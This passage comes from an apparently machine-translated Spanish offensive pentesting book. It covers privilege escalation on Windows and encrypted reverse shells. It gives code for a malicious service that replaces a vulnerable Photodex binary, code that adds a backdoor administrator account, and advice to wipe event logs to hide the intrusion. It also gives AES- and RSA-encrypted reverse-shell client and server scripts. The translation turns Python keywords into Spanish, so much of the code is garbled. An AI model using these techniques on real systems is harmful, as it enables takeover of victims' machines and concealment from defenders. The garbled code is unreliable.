win32serviceutil.ServiceFramework.__init__(self, *args) def sleep(self, sec): # si la señal del
administrador de servicios fue pausa - entonces
dormimos durante una cantidad de segundos
win32api.Sleep(sec*1000, True)
def SvcDoRun(self): # si la señal fue de inicio - entonces:-
self.ReportServiceStatus(win32service.SERVICE_START_PENDING) # decir
el Administrador de servicios que estamos planeando ejecutar el servicio mediante el informe de un estado pendiente de
inicio
tratar:
self.ReportServiceStatus(win32service.SERVICE_RUNNING) #decir
el Administrador de servicios que actualmente estamos ejecutando el servicio y luego llame al inicio
#función (inicio) si ocurre alguna excepción, llamaremos a la función de parada

(SvcStop)
self.start() excepto
Excepción, x: self.SvcStop() def
SvcStop(self):
self.ReportServiceStatus(win32service.SERVICE_STOP_PENDING) #decir
el administrador del servicio que estamos planeando detener el servicio
[ 131 ]
self.stop()
self.ReportServiceStatus(win32service.SERVICE_STOPPED) #dile al
Administrador de servicios que actualmente estamos deteniendo el servicio
def start(self):
self.runflag=True # marcar un indicador de estado de servicio como True y lo haremos
Espere en el ciclo while para recibir la señal de parada del servicio del servicio
gerente
'''
Este pequeño código es para verificar si obtuvimos un privilegio de administrador, después

reemplazando nuestro servicio malicioso, gracias a la función IsUserAnAdmin https://msdn.microsoft.com/en-
us/library/windows/desktop/bb776463(v=vs.85).
aspx
f = open('C:/Users/nonadmin/Desktop/priv.txt','w') if ctypes.windll.shell32.IsUserAnAdmin()
== 0: f.write('[-] ¡NO somos administradores! ') demás:
f.write('[+] Somos administradores :)') f.close()
'''
while self.runflag: # Espere la señal de parada del servicio

auto.dormir(10)
def stop(self): # ahora dentro de la función stop marcamos el servicio
indicador de estado como Falso para romper el ciclo while en la función de inicio
self.runflag = Falso
En la segunda sección, definimos la acción a realizar cuando recibimos una señal del administrador del
servicio y esto sucederá dentro de la clase Servicio . En las dos primeras líneas, especificamos el nombre
del servicio y el nombre para mostrar. Tenga en cuenta que el nombre que he elegido, que es ScsiAccess,
es similar al original del software Photodex. Entonces, si abrimos el servicio desde el Administrador de
tareas de Windows, como hicimos en la sección anterior, el nombre coincide exactamente con el nombre
del servicio del software vulnerable.
A continuación, inicializamos ServiceFramework y definimos en estilo de funciones qué hacer cuando

recibimos una señal del administrador de servicios. Entonces, por ejemplo, si la señal del administrador
del servicio fue pausa, dormiremos durante el tiempo de suspensión (seg * 1000, verdadero) de
segundos. Además, si la señal se inició, le diremos al administrador del servicio que estamos planeando
ejecutar el servicio; esto sucederá informando un estado de SERVICE_START_PENDING a través de
ReportServiceStatus(). Luego, dentro de un manejo de excepciones, le diremos al administrador del
servicio que actualmente estamos ejecutando el servicio y llamaremos a la función start() . Si ocurriera
alguna excepción, llamaremos a la función SvcStop() aquí.
[ 132 ]
Una vez que ejecutamos la función start() , marcamos el indicador ServiceStatus como True y esperaremos en
un bucle while para recibir una señal de parada del servicio del administrador del servicio. Si recibimos esta
señal, pasamos a la función stop() , que eventualmente cambiará la bandera a Falso.
Ahora, dentro de la función stop() , haremos un procedimiento similar al que hicimos en la función
start() . Entonces, le diremos al administrador del servicio que planeamos detener el servicio, luego
ejecutaremos la función stop() y finalmente le diremos al administrador del servicio que estamos
deteniendo el servicio actualmente. Ahora, dentro de la función stop() , marcamos el indicador de estado
del servicio como Falso para romper el ciclo infinito en la función start() .
Ahora, si exporto este script a EXE y lo reemplazo en lugar de sciaccess.exe y reinicio la máquina,
debería funcionar bien. Sin embargo, quiero hacer un esfuerzo adicional y demostrar que tenemos
privilegios del sistema. Entonces, asegurémonos de que la explotación funcionó bien. Para este propósito,
hice una secuencia de comandos rápida en Python para verificar si estamos ejecutando como administrador o no:
# ¿Somos administradores?
importar tipos de c
if ctypes.windll.shell32.IsUserAnAdmin() == 0: print '[-] ¡NO somos

administradores! '
demás:
print '[+] Somos administradores :) '
Este script simplemente llamará a la función IsUserAnAdmin() desde Windows. Si el valor devuelto es 0,
significa que somos un usuario estándar; de lo contrario, significa que tenemos privilegios de administrador.
Para ejecutar este script, abra el Símbolo del sistema como administrador y navegue hasta el Escritorio ,
luego Usuarios y escriba python "¿Somos Admin.py". Obtendremos [+] Somos administradores :) ya que
tenemos privilegios de administrador. Esto se debe a que antes de iniciar el símbolo del sistema, hice clic
con el botón derecho y seleccioné Ejecutar como administrador.
Entonces, voy a usar este pequeño truco en nuestro código e inyectaré el script de administración de
verificación dentro de nuestro servicio malicioso. Obviamente, debe ejecutarse una vez que se inicia el
servicio, por lo que debe estar bajo la función start() . Una vez que ejecutemos el servicio, crearemos un
archivo de texto en el escritorio y dentro de ese archivo de texto veremos con qué privilegio nos encontramos.
[ 133 ]
Entonces, ahora exportaremos el script a EXE como lo hicimos en el capítulo anterior, y en este punto,
todo lo que tenemos que hacer es reemplazar el archivo EXE original con el generado. Vaya al original
del software Photodex. Dado que el software es vulnerable, podremos reemplazar este. Entonces,
cambiaré el nombre de este a access2 y simplemente copiaré y pegaré nuestro archivo malicioso aquí. Si
todo funciona bien, nuestro servicio debería ejecutarse sin ningún error y deberíamos ver un archivo de
texto en el escritorio y, una vez que lo abrimos, debería decirnos el privilegio con el que nos encontramos.
Después de reiniciar, notará un archivo de texto privado en el escritorio .
Si lo abre, verá un texto que dice que estamos ejecutando como administrador.
Escalada de privilegios: crear una nueva

cuenta de administrador y cubrir las pistas
En nuestra sección anterior, creamos un servicio de Python malicioso y reemplazamos el legítimo con él.
Una vez que el sistema se ha iniciado, verificamos que obtengamos un sistema o un privilegio de
administrador. Ahora, en esta sección, veremos cómo podemos crear una nueva cuenta de administrador
y luego pasar del usuario estándar a la cuenta de administrador. Entonces, lo que he cambiado en la
parte de codificación es agregar la siguiente sección al código anterior, que en resumen creará una nueva
cuenta de administrador una vez que se inicie el servicio:
...
USUARIO = "Hackeado"
GRUPO = "Administradores"
user_info = dict ( # crear un perfil de información de usuario en un diccionario
formato
nombre =
USUARIO, contraseña = "python_is_my_life", # Definir la contraseña para
el nombre de usuario 'hackeado'
priv = win32netcon.USER_PRIV_USER, home_dir =
Ninguno, comentario = Ninguno, flags =
win32netcon.UF_SCRIPT, script_path = Ninguno
user_group_info = dict ( # crear un perfil de información de grupo en un formato de diccionario

domainandname = USER
intente: win32net.NetUserAdd (Ninguno, 1, user_info)
[ 134 ]
win32net.NetLocalGroupAddMembers (Ninguno, GRUPO, 3,

[user_group_info]) excepto
Excepción, x:
aprobar
...
Por lo tanto, tenga en cuenta que he agregado la sección antes mencionada debajo de la función start() .
Así que aquí, definimos el nuevo nombre de usuario llamado Hacked, y el grupo al que pertenece, que es el
grupo de Administradores . A continuación, creamos un perfil de información de usuario y grupo en formato de
diccionario. Luego, dentro del diccionario, especificamos algunos valores, como contraseña, priv y home_dir.
Finalmente, creamos la nueva cuenta de administrador y la agregamos como miembro del grupo al grupo
Administradores . En caso de que sucediera alguna excepción durante la fase de creación, simplemente la omitiremos.
Ahora, antes de exportar el código a EXE y probarlo, verifique rápidamente los nombres de usuario que obtuvimos en
la máquina ejecutando usuarios de red en el Símbolo del sistema y mostrará una lista de los usuarios en nuestra
máquina.
Actualmente, hemos iniciado sesión en la cuenta de no administrador . Entonces, sigamos adelante y hagamos
la exportación EXE aquí. Copie el script en la carpeta Toexe y cámbiele el nombre a sciaccess. Ahora, ejecute el
archivo de instalación. Luego, copie el archivo EXE exportado para reemplazar nuestro software vulnerable en la
carpeta Photodex\ProShow Producer . En este punto, si todo funciona bien, luego de reiniciar, deberíamos ver una
nueva cuenta de administrador en la lista llamada Hacked. Ahora, reinicie la máquina e inicie sesión en la cuenta de
no administrador . Inicie el símbolo del sistema. Ahora, si escribimos usuarios de red, obtendremos un nuevo nombre
de usuario llamado Hacked.
Si escribimos usuarios de red Hackeados, veremos en la parte inferior que pertenecemos al grupo
de Administradores . Entonces, en este punto, una vez que obtengamos el privilegio de administrador, podemos hacer
lo que queramos. Entonces, hagamos el mal y borre los registros de eventos de Windows del Visor de eventos
iniciando sesión con la cuenta de administrador pirateada. Esto nos ayudará a cubrir nuestras huellas.
Resumen
En este capítulo, hemos aprendido las diferentes formas de ejecutar la escalada de privilegios y explotar las
vulnerabilidades. Comenzamos con la exportación de un archivo a EXE y luego pasamos a apuntar a un software
vulnerable. Después de esto, iniciamos la creación de puertas traseras y posteriormente cubrimos nuestras huellas
para evitar la detección.
En el próximo capítulo, nos ocuparemos de diferentes tipos de algoritmos de encriptación.
[ 135 ]
6
Abuso de la criptografía por
Malware
En este capítulo, protegeremos nuestro túnel con algo más sólido que un simple XOR, ya que el malware
moderno usa un conocido algoritmo de cifrado para proteger su tráfico en la ruta de tránsito.
Los temas tratados en este capítulo son los siguientes:
Introducción a los algoritmos de encriptación

Protegiendo su túnel con AES – modo stream
Protegiendo su túnel con RSA
Clave de cifrado híbrido
Introducción a los algoritmos de encriptación

En esta sección, tendremos una descripción general rápida de los algoritmos de cifrado más comunes
en el mundo de la criptografía. Básicamente, hay dos tipos de algoritmos de cifrado. El primero se llama
simétrico y el segundo se llama asimétrico. Ahora bien, esta clasificación se hace en función de la
cantidad de llaves necesarias y de cómo se operan. Analicemos un poco la diferencia entre estos
algoritmos y comenzaremos con el simétrico.
Abuso de la criptografía por malware Capítulo 6
Ahora, el cifrado simétrico utiliza una clave tanto para el proceso de cifrado como para el
descifrado, y esta clave se comparte tanto en el lado del cliente como en el del servidor. Ahora,
los ejemplos más comunes de cifrado simétrico son AES, Blowfish, RC4 y Triple DES. En el cifrado
asimétrico, tenemos el concepto del par de claves, donde tenemos una clave llamada clave pública
que se usa para el cifrado y tenemos una clave privada que se usa para el descifrado. Ahora, el
nombre de la clave implica que la clave pública se puede publicar en la red no confiable como
Internet y hacerlo no causará ningún daño. Por otro lado, la clave privada nunca debe salir del sistema
operativo o de la máquina que está destinada a descifrar los datos. Si la clave privada se filtra del
sistema operativo, cualquiera que tenga esa clave privada puede descifrar el tráfico.
El cliente o el objetivo tiene que generar su propio par de claves y el servidor o el atacante tiene que
generar sus propias claves. Ahora, luego de generar el par de claves en cada lado, el funcionamiento
será el siguiente. El cliente tendrá su propia clave privada y la clave pública del servidor. Por otro lado,
el servidor tendrá su propia clave privada y la clave pública del cliente. Entonces, para recapitular
rápidamente, después de cambiar, en este punto en el lado de Kali tenemos nuestra propia clave
privada y la clave pública del objetivo. Además, en el lado objetivo, tenemos nuestra propia clave
privada y también tenemos la clave pública de Kali. Entonces, reflejando esto en nuestro shell, cuando
recibimos un aviso de shell inverso para ingresar nuestro comando a ejecutar, como ipconfig , se cifrará
usando la clave pública del cliente y lo enviaremos a través del túnel.
Cuando ingresamos ipconfig en el indicador de shell, antes de enviar el ipconfig en un texto claro,
usaremos la clave pública del objetivo para cifrar este mensaje y lo enviaremos a través del túnel. No
importa quién esté viendo ese tráfico, solo el cliente puede descifrarlo, y eso es porque solo el cliente
es quien tiene la clave privada. Usando la clave privada de destino, descifraremos el comando y lo
revertiremos a texto sin cifrar, que es nuevamente el comando ipconfig . Ahora, cuando el cliente
ejecuta el ipconfig, en lugar de enviar la salida en texto sin cifrar, la salida se cifrará mediante el
servidor o la clave pública de Kali y la enviaremos a través del túnel. Ahora, en el lado de Kali, una vez
que obtengamos el mensaje cifrado, lo pasaremos a nuestra clave privada, que se utilizará para
descifrar el tráfico o para descifrar el mensaje e imprimirlo en texto claro. Ahora, lo último que debo
mencionar sobre el cifrado asimétrico son los ejemplos más comunes de este algoritmo, que son el
RSA y Pretty Good Privacy (PGP).
Hay ciertas ventajas y desventajas de ambos métodos. El algoritmo asimétrico se considera

difícil de romper, más sólido y más seguro que el simétrico.
Sin embargo, requiere más procesos y es mucho más lento que el simétrico. Entonces, la pregunta
es, ¿podemos crear un sistema híbrido o un algoritmo híbrido que pueda aprovechar tanto los
sistemas simétricos como los asimétricos? La respuesta es sí.
[ 137 ]
Usaremos el algoritmo asimétrico para transferir de forma segura una clave aleatoria y compleja.
Ahora, esta clave se usará más adelante para cifrar nuestros datos de transferencia usando un algoritmo simétrico.
Entonces, básicamente, este es el trato. La máquina Kali mantendrá la clave pública del objetivo, luego generaremos
una clave simétrica en el lado de Kali. Ahora, aprovecharemos la clave pública asimétrica del lado de destino y la
usaremos para cifrar la clave simétrica generada y enviarla al lado de destino. Ahora, el objetivo descifrará la clave
simétrica utilizando su clave privada.
Usaremos la clave privada de destino para exportar o descifrar la clave simétrica aquí. Entonces, en este punto,
podemos usar esta clave simétrica para nuestro cifrado de túnel. Ahora, una vez que hayamos transferido de forma
segura la clave simétrica, podemos usarla para cifrar cada comando o salida que pase por este túnel. Entonces,
para recapitular rápidamente, tan pronto como el objetivo inicie una sesión con nosotros en el lado de Kali,
generaremos la clave simétrica. Ahora, para transferir de forma segura esta clave simétrica, la cifraremos con la
clave pública del objetivo y la enviaremos. En el lado objetivo, descifraremos ese mensaje y extraeremos la clave
simétrica una vez más. En este punto, tenemos la clave simétrica en ambos extremos. Ahora, podemos transferir
de forma segura nuestros comandos de un lado a otro usando la clave simétrica. Lo último de lo que deberíamos
hablar son los beneficios de usar un método híbrido, que son, primero, mantenemos segura nuestra clave simétrica
generada transfiriéndola de forma segura a través de Internet. En segundo lugar, tenga en cuenta que esta es una
clave generada aleatoriamente y se cambiará en cada conexión. En lugar de codificar la clave en ambos lados o en
ambos extremos, la clave cambiará por conexión. Además, podemos cambiar la clave cuando queramos. Entonces,
por ejemplo, en el protocolo VPN IPSEC, puede establecer un criterio en el que puede cambiar la clave de cifrado
después de una cierta cantidad de tiempo o después de consumir un cierto ancho de banda.
Protegiendo su túnel con AES – modo

stream
En esta sección, protegeremos nuestro túnel TCP con cifrado AES. Ahora, en términos generales, el
cifrado AES puede operar en dos modos, el cifrado en modo Contador (CTR) (también llamado Modo de flujo)
y el cifrado en modo Cipher Block Chaining (CBC) (también llamado Modo de bloque).
[ 138 ]
Cifrado en modo Cipher Block Chaining (CBC)

El modo de bloque significa que necesitamos enviar datos en forma de fragmentos:
Por ejemplo, si decimos que tenemos un tamaño de bloque de 512 bytes y queremos enviar 500 bytes,
entonces debemos agregar 12 bytes de relleno adicional para llegar a 512 bytes de tamaño total. Si queremos
enviar 514 bytes, entonces los primeros 512 bytes se enviarán en un fragmento y el segundo fragmento o el
siguiente fragmento tendrá un tamaño de 2 bytes. Sin embargo, no podemos enviar solo 2 bytes, ya que
necesitamos agregar un relleno adicional de 510 bytes para llegar a 512 en total para el segundo fragmento.
Ahora, en el lado del receptor, deberá invertir los pasos eliminando el relleno y descifrando el mensaje.
Cifrado en modo contador (CTR)

Ahora, pasemos al otro modo, que es el modo de encriptación Contador (CTR) o el
Modo de transmisión:
[ 139 ]
Aquí, en este modo, el tamaño del mensaje no importa ya que no estamos limitados con un
tamaño de bloque y encriptaremos en modo flujo, tal como lo hace XOR. Ahora, el modo de
bloque se considera más fuerte por diseño que el modo de transmisión. En esta sección,
implementaremos el modo de transmisión y te dejaré buscar y hacer el modo de bloqueo.
La biblioteca más conocida para criptografía en Python se llama PyCrypto. Para Windows, hay
un binario compilado para él, y para el lado de Kali, solo necesita ejecutar el archivo de instalación
después de descargar la biblioteca. Puede descargar la biblioteca desde http://www.voidspace.
org.uk/python/modules.shtml#pycrypto. Entonces, para empezar, usaremos AES sin túneles TCP
o HTTP:
# Descargar Pycrypto para Windows - pycrypto 2.6 para win32 py 2.7 # http://www.voidspace.org.uk/python/
modules.shtml#pycrypto
# Descargue la fuente de Pycrypto # https://

pypi.python.org/pypi/pycrypto # Para Kali, después de extraer el
archivo tar, invoque "python setup.py install"
# flujo AES
importar
sistema operativo desde Crypto.Cipher importar AES
contador = os.urandom(16) #CTR valor de cadena de contador con una longitud de 16 bytes. key = os.urandom(32) Las claves #AES
pueden tener una longitud de 128 bits (16 bytes), 192 bits (24 bytes) o 256 bits (32 bytes).
[ 140 ]
# Crear una instancia de un objeto criptográfico llamado enc enc

= AES.new(key, AES.MODE_CTR, counter=lambda: counter) encriptado =
enc.encrypt("Hussam"*5) imprimir encriptado
# Y un objeto criptográfico para el descifrado dec =

AES.new(key, AES.MODE_CTR, counter=lambda: counter) decrypted = dec.decrypt(encrypted)
print decrypted
El código es bastante sencillo. Comenzaremos importando la biblioteca os e importaremos la clase

AES de la biblioteca Crypto.Cipher . Ahora, usamos la biblioteca os para crear la clave aleatoria y el
contador aleatorio. La longitud del contador es de 16 bytes, y optaremos por una longitud de 32 bytes
para el tamaño de la clave para implementar AES-256. A continuación, creamos un objeto de cifrado
pasando la clave, el modo AES (que es nuevamente el modo flujo o CTR) y el valor del contador . Ahora,
tenga en cuenta que se requiere que el contador se envíe como un objeto invocable. Es por eso que
usamos la estructura lambda o construcción lambda , donde es una especie de función anónima, como
una función que no está vinculada a un nombre. El descifrado es bastante similar al proceso de cifrado.
Entonces, creamos un objeto de descifrado, y luego pasamos el mensaje cifrado y, finalmente, imprime
el mensaje descifrado, que nuevamente debería ser texto sin cifrar.
Entonces, probemos rápidamente este script y encriptemos mi nombre. Una vez que ejecutemos el
script, la versión cifrada se imprimirá arriba y la de abajo es la descifrada, que es el texto claro.
uno:
>>>
]buey:|s
Hussam
>>>
Entonces, para probar el tamaño del mensaje, invocaré un espacio y multiplicaré el tamaño de mi nombre
por 5. Entonces, aquí tenemos 5 veces la longitud. El tamaño del mensaje de texto claro no importa
aquí. No importa cuál sea el mensaje de texto claro, con el modo de transmisión, no tenemos ningún
problema.
Ahora, integremos nuestra función de encriptación a nuestro shell inverso TCP. El siguiente es el script
del lado del cliente:
# Python para PenTest ofensivo # Descargue Pycrypto para Windows - pycrypto 2.6 para win32 py 2.7 # http://
www.voidspace.org.uk/python/modules.shtml#pycrypto
# Descargue la fuente de Pycrypto #

https://pypi.python.org/pypi/pycrypto
[ 141 ]
# Para Kali, después de extraer el archivo tar, invoque "python setup.py install"
# AES - Cliente - Shell inverso TCP
subproceso de
importación de socket de importación
de Crypto.Cipher importar AES
contador = "H"*16
clave = "H"*32
def cifrar (mensaje):

encrypto = AES.nuevo(clave, AES.MODE_CTR, contador=lambda: contador) return
encrypto.encrypt(mensaje)
def descifrar (mensaje):

decrypto = AES.nuevo(clave, AES.MODE_CTR, contador=lambda: contador) return
decrypto.decrypt(mensaje)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('10.10.10.100',
8080))
comando = descifrar (s.recv (1024)) imprimir '

Recibimos: ' + comando
...
Lo que agregué fue una nueva función para el cifrado y descifrado para ambos lados y, como puede ver,
la clave y los valores del contador están codificados en ambos lados. Una nota al margen que debo
mencionar es que veremos en el cifrado híbrido más adelante cómo podemos generar un valor aleatorio
de la máquina Kali y transferirlo de forma segura a nuestro objetivo, pero por ahora, mantenámoslo
codificado aquí.
El siguiente es el script del lado del servidor:
# Descargar Pycrypto para Windows - pycrypto 2.6 para win32 py 2.7 # http://www.voidspace.org.uk/
python/modules.shtml#pycrypto

[ 142 ]
# AES - Servidor - Shell inverso TCP
importar socket
desde Crypto.Cipher importar AES
contador = "H"*16
clave = "H"*32
...
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.bind(("10.10.10.100",
8080)) s.listen(1) print '[+] Escuchando la conexión TCP entrante en el puerto 8080'
conn, addr = s.accept() print '[+] Obtuvimos una conexión de: ', addr
...
Así es como funciona. Antes de enviar nada, primero pasaremos lo que queramos enviar a la función de
encriptación. Cuando recibimos el indicador de shell, nuestra entrada se pasará primero a la función de cifrado;
luego será enviado fuera del socket TCP. Ahora, si saltamos al lado del objetivo, es casi una imagen reflejada.
Cuando recibimos un mensaje cifrado, lo pasaremos primero a la función de descifrado, y el descifrado devolverá
el valor de texto claro. Además, antes de enviar algo a la máquina Kali, primero lo encriptaremos, tal como lo
hicimos en el lado de Kali.
Ahora, ejecute el script en ambos lados. Mantenga Wireshark ejecutándose en segundo plano en el lado de Kali.
Comencemos con el ipconfig. Entonces, en el lado del objetivo, podremos descifrar o descifrar el mensaje cifrado
para borrar el texto con éxito.
Ahora, para verificar que obtuvimos el cifrado en la ruta de tránsito, en Wireshark, si hacemos clic con el botón
derecho en la IP en particular y seleccionamos Seguir transmisión TCP en Wireshark, veremos que el mensaje
se ha cifrado antes de enviarse al TCP. enchufe.
[ 143 ]
Protegiendo su túnel con RSA

En esta sección, usaremos el algoritmo asimétrico RSA para proteger nuestro túnel. Ahora, para revisar
los requisitos para el cifrado asimétrico: como dijimos, cada entidad tiene su propio par de claves; cuando
digo par de claves, me refiero a una clave pública y una privada. La distribución final del par de claves
será la siguiente. El cliente tendrá su propia clave privada y la clave pública del servidor. Por otro lado, el
servidor o la máquina Kali tendrá su propia clave privada y la clave pública del objetivo. Entonces, cuando
queremos enviar un mensaje o comando a nuestro objetivo desde el lado de Kali, primero encriptaremos
ese mensaje usando la clave pública del objetivo y luego lo enviaremos a través del túnel en formato
encriptado. El objetivo tomará ese comando o mensaje, y usando su clave privada puede descifrarlo y
extraerlo de nuevo a texto claro. La respuesta, luego de ejecutar el comando, será encriptada usando la
clave pública del servidor. Después de eso, lo enviaremos en formato encriptado a la red y una vez que
recibamos ese mensaje o ese mensaje encriptado en la máquina Kali, usaremos la clave privada de Kali
para descifrarlo y convertirlo en texto sin cifrar.
Ahora, el primer paso es generar un par de claves en ambos lados:

https://pypi.python.org/pypi/pycrypto # Para Kali, después de
extraer el archivo tar, invoque "python setup.py install"
# Generar Claves
from Crypto.PublicKey import RSA new_key =

RSA.generate(4096 ) # genera una clave RSA de 4096 bits de longitud
#Exportar la clave en formato PEM, la extensión PEM contiene codificación ASCII
public_key = new_key.publickey().exportKey("PEM") private_key =

new_key.exportKey("PEM") print private_key print public_key
[ 144 ]
Entonces, comenzamos con la importación de la clase RSA . Luego, creamos un nuevo objeto para
generar una clave con un tamaño de 4096 bits. Ahora, este es el tamaño máximo que puede soportar
RSA , pero el impuesto que pagará por tener una clave compleja es la lentitud. Cuanto más tamaño de
clave, más segura, pero más lenta será la operación. A continuación, exportamos las claves en formato
PEM . PyCrypto admite otros formatos como DER, que es codificación binaria. El formato más común es
el PEM, que también se usa en dispositivos de red como firewalls y enrutadores para fines de acceso VPN
o HTTPS. Ahora, después de imprimir las claves generadas, las guardaremos en los archivos private.pem
y public.pem .
Comencemos y ejecutemos el script Generate Keys proporcionado anteriormente en ambos lados, en el

objetivo y en el atacante. Del lado de Kali obtendremos la clave privada RSA y la clave pública. Se marcarán
el inicio y el final de las teclas. También obtendremos un resultado similar en el lado de Windows. Entonces,
lo que haremos ahora es copiar cada clave en el extremo de la máquina Kali y guardarla en un archivo
separado. Comencemos con la clave privada en la máquina atacante y simplemente peguemos la clave
privada en un archivo de bloc de notas. Cambie el nombre de este archivo a private.pem. Ahora, vamos a
hacer lo mismo con la clave pública. Llamemos a este public.pem. Después de esto, salta al lado de
Windows y haz lo que hemos hecho en la máquina Kali.
Ahora, como hicimos con el cifrado AES, antes de integrar el cifrado a nuestro túnel, primero echemos
un vistazo a cómo funcionarán el cifrado y el descifrado:
# Descargue la fuente Pycrypto # https://

pypi.python.org/pypi/pycrypto # Para Kali, después de extraer
el archivo tar, invoque "python setup.py install" desde Crypto.PublicKey import RSA
# RSA ENC-DEC
de Crypto.PublicKey importar RSA
def encrypt(mensaje): publickey

= open("public.pem", "r") encryptor =
RSA.importKey(publickey) global encriptedData
'''
La función de encriptación tomará dos argumentos, el segundo puede descartarse
>>es por eso que pasamos (mensaje,0) argumentos
El valor devuelto es una tupla con dos elementos. El primer elemento es el
[ 145 ]
texto cifrado. El segundo elemento siempre es Ninguno. >>es por

eso que imprimir datos encriptados[0]
Ref:
https://pythonhosted.org/pycrypto/Crypto.PublicKey.RSA._RSAobj-class.html#e ncrypt
'''
encriptedData=encryptor.encrypt(mensaje,0) imprimir
encriptedData[0]
encriptar('Hussam')
def descifrar (cifrar):

llave privada = abrir("privado.pem", "r") descifrador =
RSA.importKey(clave privada) print descifrador.descifrar(cifrar)
decrypt(encriptedData)
Aquí, primero definimos una función de cifrado, donde pasaremos el mensaje que queremos cifrar,
y una función de descifrado más abajo, tal como lo hicimos en el caso de AES. Ahora, después de
recibir el mensaje de texto sin cifrar, abriremos el archivo de clave pública que cifrará el mensaje
por nosotros y vinculará la clave importada al objeto de cifrado . Ahora, el objeto de cifrado hará el
cifrado real por nosotros.
La función de cifrado en la clase RSA toma dos parámetros. El primero es el mensaje de texto sin
formato y el segundo simplemente se puede descartar. Por lo tanto, hemos pasado un valor 0 .
Otra cosa es que la salida de cifrado se devuelve en formato de tupla. El primer elemento
contiene el texto encriptado, por lo que lo imprimiremos y, con fines de prueba, comenzaré con la
encriptación de mi nombre.
Pasemos al proceso de descifrado y haremos algo similar al proceso de cifrado mediante la

importación. Ahora, aquí está la diferencia clave. En el descifrado, importaremos la clave privada
y pasaremos el valor de cifrado y lo imprimiremos en un texto claro después de realizar el
descifrado.
Probemos y ejecutemos el script en el lado de Windows y si encuentra un mensaje de error que

dice que no tenemos ningún archivo o directorio para public.pem , lo más probable es que este
mensaje de error se deba al formato del archivo guardado. Vea la extensión completa y elimine
el .txt y conviértalo en .pem para archivos públicos y privados.
[ 146 ]
Aquí, queremos comenzar cifrando mi nombre y pasaremos mi nombre en texto sin cifrar a la función de
cifrado. Ahora, una vez que importemos la clave pública para el cifrado, imprimiremos el mensaje cifrado.
Luego, devolveremos el mensaje cifrado a la función de descifrado para que podamos imprimirlo en
formato de texto claro.
En este momento, si saltamos al lado de Kali y ejecutamos el script con un ligero cambio en la
función encrypt() :
...
encriptar('H'*512)
...
Ahora, observe que he cifrado un mensaje que tiene un tamaño de 512 bytes en el bloque de código.
El punto que quiero mostrarles es que RSA funciona como un tipo de cifrado de bloque y, según la
implementación de PyCrypto , el tamaño del bloque es de 512 bytes.
Ahora, veamos qué sucederá si elevo el tamaño del mensaje en 1 byte. Entonces, en lugar de
multiplicar este con 512, simplemente multiplicaré con 513. Entonces, se lanzará una excepción
diciendo que el texto sin formato es demasiado grande para ser manejado.
Por lo tanto, el tamaño máximo del mensaje debe ser de 512 bytes. Ahora, lo primero que haré es integrar
el RSA a nuestro túnel TCP y luego le mostraré cómo podemos resolver el problema del tamaño del
bloque con unas pocas líneas de código Python. Ahora bien, la integración es bastante similar a lo que
hemos hecho en el apartado anterior. Veamos el script del lado del cliente:

# RSA - Cliente - Shell inverso TCP
subproceso de
de Crypto.PublicKey importar RSA
def cifrar (mensaje):

#Recuerda que aquí definimos la clave pública del servidor publickey ='''-----BEGIN
PUBLIC KEY-----
...
[ 147 ]
-----FIN CLAVE PÚBLICA-----'''
encryptor = RSA.importKey(publickey) datos encriptados

globales encryptedData=encryptor.encrypt(mensaje, 0)
return encriptedData[0]
def descifrar (cifrar):

#Recuerde que aquí definimos nuestra clave privada (la del objetivo) privatekey = '''-----BEGIN RSA
PRIVATE KEY-----
...
-----FIN CLAVE PRIVADA RSA-----'''
descifrador = RSA.importKey(clave privada) dec =
descifrador.descifrar(cifrado)
volver diciembre
8080))

...
Entonces, he creado dos funciones: una para el cifrado y otra para el descifrado. Antes
de enviar cualquier comando, primero lo pasaremos a la función de cifrado y antes de imprimir
cualquier resultado, pasaremos lo que obtengamos a la función de descifrado. Ahora, recuerde que
el objetivo tiene su clave privada y la clave pública del servidor y la máquina Kali tiene su clave
privada y la clave pública del cliente. Ahora, vaya a la máquina Kali y abra la clave pública que
guardó en el archivo de texto. Copie y pegue la clave pública en la variable. Entonces, obviamente,
necesitaríamos importar estas claves manualmente antes de exportar el script en el lado de destino al
formato EXE. Ahora, abriremos la clave pública desde el lado objetivo que acabamos de generar.
Recuerde, esta clave pública debe ubicarse en la variable de clave pública en la máquina Kali. Realiza
la misma operación que la anterior.
En este momento, es el momento de la clave privada. Por lo tanto, la clave privada de la máquina
Kali se ubicará en el script de la máquina Kali. Copie y pegue las claves privadas de los archivos
de texto en las cadenas tanto del lado del servidor como del cliente y guárdelas. Ahora, averigüemos
si nuestros scripts funcionarán después de la integración al túnel TCP. Inicie Wireshark y ejecútelo
en el lado del servidor. Saltemos al lado objetivo y, básicamente, obtenemos una conexión y un
indicador de shell. Comprueba la conexión con algo menos pesado como whoami.
[ 148 ]
Ahora, ten en cuenta que whoami tiene menos de 512 bytes; por lo tanto, pudimos encriptarlo
con éxito en la máquina Kali y enviarlo al lado de destino. Además, dado que la salida de la ejecución
de whoami en el lado de destino también es inferior a 512 bytes, obtenemos la respuesta correctamente.
Entonces, hemos verificado que el cifrado funciona aquí. Ahora, intentemos con otro comando, digamos,
ipconfig.
Notará que recibimos el comando con éxito, pero por alguna razón no obtenemos salida en el lado de
Kali y esto se debe a que la salida de ejecución de ipconfig en el lado del cliente o en el lado de destino
es mayor que 512 bytes, y por lo tanto el el script se bloqueará ya que hemos excedido el tamaño del
mensaje. Ahora, como dije antes, esto se puede resolver verificando la longitud del mensaje y
dividiéndolo en fragmentos, donde cada fragmento debe ser menor o igual a 512 bytes. Entonces,
pasemos al código más reciente, que resuelve el problema del tamaño a granel para nosotros:
...
si len(resultado)>512:
para i en el rango (0, len (resultado), 512):
trozo = resultado[0+i:512+i] s.send(cifrar
(trozo) )
demás:
s.send (cifrar (resultado) )
...
Hemos creado una instrucción if para verificar el tamaño de la salida de ejecución del comando. Por
ejemplo, digamos que el comando que obtuvimos de Kali fue ipconfig. Entonces, veremos si la
salida o el tamaño de la salida de ipconfig es mayor a 512 bytes. Si no es así, entonces no tenemos
ningún problema: enviaremos la salida a la función encrypt() , luego se enviará directamente a la
máquina Kali. Sin embargo, si la salida supera los 512 bytes, la dividiremos en fragmentos, donde el
tamaño máximo de cada fragmento es de 512 bytes. La división ocurrirá haciendo un bucle for , donde
comenzaremos desde 0 hasta la longitud de la salida de ejecución de nuestro comando. Y cada vez
que hagamos un bucle, incrementaremos nuestro contador i en 512 bytes. Entonces, lo que lograremos
al hacer esto es que la variable de fragmento contendrá el resultado de la división, donde el primer
